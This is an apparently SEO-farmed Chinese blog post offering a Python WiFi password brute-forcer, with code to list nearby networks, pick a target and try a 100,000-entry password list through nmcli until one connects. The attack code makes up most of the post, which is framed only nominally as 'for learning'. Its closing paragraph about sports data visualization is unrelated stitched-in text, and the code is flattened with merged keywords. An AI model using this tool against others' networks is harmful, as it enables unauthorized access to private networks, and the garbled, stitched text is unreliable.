WIFI破解码(怎样破开加密wifi密码)
admin
2023-09-05 17:06:17
0

WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。

因此,我们对WiFi密码的需求也没有之前那么迫切了。

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets

def display_targets(networks, security_type): print("select a target: n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " " print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks

2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi,

def prompt_for_target_choice(max): whileTrue: try: selected = int(input("nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单,就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args): for password in passwords: # necessary due to NetworkManager restart after unsuccessful attempt at login password = password.strip() # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8") if args.verbose isTrue: print(bcolors.HEADER+"** TESTING **: with password '" + decoded_line+"'"+bcolors.ENDC) if (len(decoded_line) >= 8): time.sleep(3) creds = os.popen("sudo nmcli dev wifi connect " + selected_network+" password "+decoded_line).read() # print(creds) if ("Error:"in creds.strip()): if args.verbose isTrue: print(bcolors.FAIL+"** TESTING **: password '" + decoded_line+"' failed."+bcolors.ENDC) else: sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" + decoded_line+"' succeeded."+bcolors.ENDC) else: if args.verbose isTrue: print(bcolors.OKCYAN+"** TESTING **: password '" + decoded_line+"' too short, passing."+bcolors.ENDC) print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!

下面就把它们串联在一起:

def main(): require_root() args = argument_parser() # The user chose to supplied their own url if args.url isnotNone: passwords = fetch_password_from_url(args.url) # user elect to read passwords form a file elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url) # grabbing the list of the network ssids func_call = start(1) networks = func_call[0] security_type = func_call[1] ifnot networks: print("No networks found!") sys.exit(-1) display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick] print("nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.") brute_force(target, passwords, args)

执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果:

  • 红色:测试失败
  • 绿色:破解成功
  • 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

以上就是爱惜日网»WIFI破解码(怎样破开加密wifi密码)的相关内容了,更多精彩请关注作者:爱惜日号SEO专员

声明:本文由爱惜日网/爱惜日号作者编辑发布,更多技术关注王听风!

相关内容

热门资讯

国家防减救灾委对黑龙江启动国家... 8月4日,国家防灾减灾救灾委员会针对黑龙江省近期严重洪涝灾害,启动国家四级救灾应急响应。应急管理部派...
台风“白海豚”7日后将趋向我国... 今年第13号台风“白海豚”于7月27日生成。截至今天(4日)早晨8时30分,其中心位于距离琉球群岛那...
山东省人大法制委员会原副主任委... 据山东省纪委监委消息:经山东省委批准,山东省纪委监委对省人大法制委员会原副主任委员唐福泉严重违纪违法...
因凡蒂诺面临职业生涯最大危机 ... 国际足联主席因凡蒂诺正面临其职业生涯最大危机。由于计划将私募股权引入世界杯,多个大洲足联相继对其领导...
7月份中国物流业景气指数继续保... 中国物流与采购联合会今天(4日)公布7月份中国物流业景气指数。指数继续保持扩张,其中,新订单指数连续...
蛇咬伤——分不清有毒无毒,先按... 正确处理办法尽快离开被咬伤的环境,保持情绪平稳,减少肢体活动,及时拨打120。错误处理办法不要盲目尝...
台风“白海豚”两种路径公布 今年第13号台风“白海豚”于7月27日生成,8月3日17时其中心位于距离琉球群岛那霸市偏东方向约18...
高校回应“硕士毕业生国际期刊论... 近日,武汉科技大学一名硕士毕业生李某某发表在国际学术期刊《Transportation Resear...
全美25州提起诉讼 反对美政府... 央视记者当地时间8月3日获悉,法庭文件显示,美国有25个州提起诉讼,反对美政府最新关税措施。美国纽约...
全面核查、封存送检!多地通报牛... 今天(8月3日),福建省漳州市东山县市场监督管理局、广东省汕头市澄海区市场监督管理局、广东省潮州市饶...
美国将洽洽瓜子、思念水饺、七匹... 美国国土安全部牵头的相关工作组更新了对中国企业的进口限制清单,将在美国当地时间8月3日生效。包括洽洽...
三部门调拨6.5万件中央救灾物... 8月3日,国家防灾减灾救灾委员会办公室、应急管理部针对陕西暴雨洪涝灾害及新一轮持续性强降雨天气影响,...
商务部:外国企业对特定二次圆柱... 据商务部消息, 2026年7月21日,韩国LG Energy Solution Ltd.、美国LG ...
6种限用农药仍在平台销售,专家... 7月10日,农业农村部、最高人民法院等七部门联合部署“进一步规范农药兽药生产经营使用综合整治行动”,...
中央网信办从严处置一批违规网络... 近期,中央网信办深入推进“清朗·网络娱乐团播乱象整治”专项行动,针对团播违规PK刺激打赏、不当玩法诱...
酷暑如何运动不伤身?养阳、择时... 运动有度:宜舒缓顺势而行夏季,人体阳气浮于体表,腑脏阳气相对亏虚,此时进行马拉松等高强度的剧烈运动,...
解放军报钧声:中方维护黄岩岛主... 7月31日,中国外交部就菲律宾在中国领土黄岩岛划设所谓“领海基线”发布声明。8月1日,中国人民解放军...
查实作弊!河南通报“三支一扶”... 针对近期备受关注的2026年河南省“三支一扶”计划招募相关舆情,河南省“三支一扶”领导小组协调办公室...
美军称对伊朗海上封锁仍在继续 美军中央司令部2日在社交媒体上表示,美国对伊朗的海上封锁仍在继续。截至8月2日,美军已迫使35艘船只...
最高法发布5起典型案例 规范平... 今天(8月3日),最高人民法院发布5起依法规范平台经营、保护消费者合法权益典型案例。平台经济是数字经...